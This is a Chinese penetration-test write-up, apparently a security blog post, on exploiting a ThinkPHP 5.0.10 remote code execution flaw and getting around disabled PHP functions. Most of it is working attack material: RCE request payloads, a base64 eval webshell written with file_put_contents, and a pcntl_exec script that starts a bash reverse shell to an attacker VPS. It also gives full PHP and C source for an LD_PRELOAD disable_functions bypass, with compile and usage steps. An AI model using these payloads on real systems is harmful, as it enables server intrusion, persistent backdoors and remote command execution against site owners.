一次项目中Thinkphp绕过禁用函数记录

VSole2021-10-28 06:36:22

在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray

果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞

直接使用命令执行payload,结果报出system函数被禁用

s=whoami&_method=__construct&method=&filter[]=system


尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用

Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函数被禁用了


看到assertinclude没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

file_put_contents

又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件

测试写入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert


写入成功


写入冰蝎马可以进行文件管理了


虽然可以进行文件操作了,但还是没法执行命令


pcntl_exec

想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件

先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件写入反弹命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

浏览器访问exe.php成功反弹shell


LD_PRELOAD 劫持

这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章

https://www.meetsec.cn/index.php/archives/44/

这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

bypass_disablefunc.php提供了三个参数:

  1. cmd 参数,待执行的系统命令(如 whoami)。
  2. outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
  3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

这里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

可以在github上找到上述需要的文件

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录

在浏览器访问bypass_disablefunc.php传入参数

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功执行命令

本作品采用《CC 协议》,转载必须注明作者和本文链接
一次渗透测试,手工找了许久没发现什么东西,抱着尝试的心情打开了xray 果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞 直接使用命令执行payload,结果报出system函数禁用
红队小技巧
2022-07-12 07:01:57
前言 有一段时间没有写文章了,也不知写什么,毕竟从攻击方换成防守方,乙方换到甲方,还有些许不适应。。。此外,本文为口嗨文,基本在说思路,没有实操。其实钓鱼的话可以配合弱口令去后台看看能不能改一些
前言 因为前阵子发表了一篇关于Thinkphp的文章到公众号里面,南5给我扔过来一个站让我试试。 初步想法 首先看了一下这个站,这样
⽹上整理的⾯试问题⼤全,有些 HW ⾯试的题,已经收集好了,提供给⼤家。
0x01 前言 前几天对自己学校进行一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折。 期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。
对这段时间做的一次攻防演练做一个记录,这次给我们分了三个目标,一个目标是甲方单位自己的一个自建系统,其余两个是甲方的下级单位的系统。开始之前觉得不好做,因为攻防演练跟HW有些差别,HW可以不限制攻击手法,可以从上游供应链,社工、钓鱼多种角度出发来挖掘漏洞。这次攻防演练给我们三个目标、两个web系统、一个app,可以利用的点非常少,不可以攻击其他的系统,只能搞这几个目标,要不是这次运气好真的就拉垮了
一次攻防演练
2021-11-16 13:02:15
第五天主要是以代码审计为主。f12查看源码发现端倪,注册相关的实现代码已经被注释掉了。尝试上传正常图片,均不能正常使用。提示都是文件大小不符合。此时陷入瓶颈期。此时搜索有关该CMS的历史漏洞,通过cnvd平台。尝试利用SQL注入漏洞,复现后均失败。并根据response判断哪些文件是未授权访问的。并发现了两处关于文件上传的函数
PHP代码审计学习
2021-09-18 12:43:18
这是一次分享准备。自己还没有总结这个的能力,这次就当个搬运工好了~~0x
VSole
网络安全专家